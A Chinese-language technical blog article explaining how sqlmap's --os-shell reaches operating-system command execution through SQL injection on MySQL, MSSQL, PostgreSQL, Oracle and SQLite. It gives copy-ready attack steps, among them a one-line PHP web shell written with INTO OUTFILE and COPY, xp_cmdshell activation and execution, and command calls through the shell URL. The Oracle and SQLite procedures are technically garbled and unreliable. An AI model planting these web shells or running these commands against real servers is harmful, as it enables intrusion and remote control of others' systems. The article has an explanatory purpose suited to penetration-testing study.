sqlmap --os-shell的原理(MySQL,MSSQL,PostgreSQL,Oracle,SQLite)

1. MySQL

条件
  • 数据库用户需要具备高权限(如 FILE 权限)。
  • 数据库服务运行用户需要对目标目录有写权限。
  • Web 服务器有可写目录,且支持执行上传的脚本(如 PHP、JSP 等)。
原理
  • 利用 MySQL 的 SELECT ... INTO OUTFILE 功能,将恶意代码写入目标 Web 目录,生成一个 Web Shell 文件。
  • 攻击者通过浏览器访问 Web Shell,获得命令执行能力。
流程
  1. 确认 FILE 权限:

    sql 复制代码
    SELECT * FROM mysql.user WHERE User='target_user';
  2. 写入 Web Shell 到目标目录:

    sql 复制代码
    SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
  3. 通过浏览器访问 Web Shell 执行命令:

    bash 复制代码
    http://xxxxxx.com/shell.php?cmd=whoami

2. Microsoft SQL Server (MSSQL)

条件
  • 数据库用户需要 sysadmin 权限。
  • 目标服务器启用了扩展存储过程 xp_cmdshell
  • 数据库运行用户有命令执行权限。
原理
  • 调用 MSSQL 的 xp_cmdshell 存储过程,直接在操作系统中执行命令。
流程
  1. 确认是否启用了 xp_cmdshell

    sql 复制代码
    EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
  2. 利用 xp_cmdshell 执行命令:

    sql 复制代码
    EXEC xp_cmdshell 'whoami';
  3. 通过命令的输出或回显获取执行结果。


3. PostgreSQL

条件
  • 数据库用户需要对文件系统具有写权限。
  • 数据库支持使用 COPY 命令将数据写入文件。
  • 目标 Web 目录可写入文件,并允许脚本执行。
原理
  • 利用 PostgreSQL 的 COPY 功能,将 Web Shell 写入目标文件系统。
流程
  1. 写入 Web Shell:

    sql 复制代码
    COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';
  2. 访问 Web Shell: http://xxxxx.com/shell.php?cmd=id


4. Oracle

条件
  • 数据库用户需要 CREATE LIBRARY 权限。
  • 数据库运行用户需要访问操作系统。
  • 利用外部过程或 Java 存储过程。
原理
  • 通过 Oracle 数据库的外部过程,调用操作系统命令。
  • 使用 Java 存储过程执行系统级操作。
流程
  1. 创建外部库(如 DLL 文件):

    sql 复制代码
    CREATE OR REPLACE LIBRARY mylib AS '/path/to/external/file';
  2. 调用外部过程执行命令:

    sql 复制代码
    DECLARE
        cmd VARCHAR2(1000);
    BEGIN
        cmd := 'ls';
        DBMS_SCHEDULER.CREATE_JOB(cmd);
    END;
  3. 读取命令执行结果。


5. SQLite

条件
  • SQLite 本身无法直接与操作系统交互。
  • 必须结合其他漏洞(如本地文件包含)实现 Web Shell。
原理
  • 利用 SQLite 的 ATTACH 或其他功能,尝试将恶意数据写入特定目录。
流程
  1. 写入数据:

    sql 复制代码
    ATTACH DATABASE '/var/www/html/shell.php' AS shell;
  2. 在 Web 服务器中访问生成的 Web Shell 文件。


总结表

数据库 条件 原理 流程简述
MySQL FILE 权限,Web 目录可写 写入 Web Shell 通过 SELECT ... INTO OUTFILE 写 Shell -> 访问 Shell -> 执行命令
MSSQL sysadmin 权限,启用 xp_cmdshell 使用 xp_cmdshell 直接执行系统命令 开启 xp_cmdshell -> 执行命令
PostgreSQL 写权限,Web 目录可访问 使用 COPY 写入 Web Shell 写 Shell -> 访问 Shell -> 执行命令
Oracle CREATE LIBRARY 权限,系统访问权限 使用外部库或 Java 存储过程调用系统命令 配置库 -> 调用命令
SQLite 结合其他漏洞(如文件包含) 写入恶意数据文件,结合其他漏洞(如 LFI)访问 写 Shell -> 结合 LFI 执行
相关推荐
Aphasia31116 小时前
VPN 与内网穿透
安全
倔强的石头_17 小时前
《Kingbase护城河》——数据库存储空间全景探测与精细化瘦身实战
数据库
云技纵横17 小时前
唯一索引 INSERT 死锁实战:5 秒复现交叉插入的 S 锁循环等待
sql·mysql
沉默王二17 小时前
面试官:RAG 不用向量数据库,用 MySQL 硬扛?我:100 万向量不是很轻松?
mysql·面试·ai编程
冬奇Lab1 天前
每日一个开源项目(第134篇):Zvec - 阿里开源的嵌入式向量数据库,向量搜索界的 SQLite
数据库·人工智能·llm
小猿姐1 天前
MySQL Top 10 热点问题 AI 运维实战:从内核诊断到云原生运维
mysql·云原生·aiops
ClouGence2 天前
Oracle CDC 架构优化:从主库直连到 DataGuard 备库同步
数据库·后端·oracle
云技纵横2 天前
Gap Lock 死锁实战:5 秒在本地复现 MySQL 间隙锁死锁
后端·mysql
Mr_愚人派2 天前
当"Claude"不再是 Claude:一次第三方 API 代理引发的 AI 身份伪造排查实录
人工智能·安全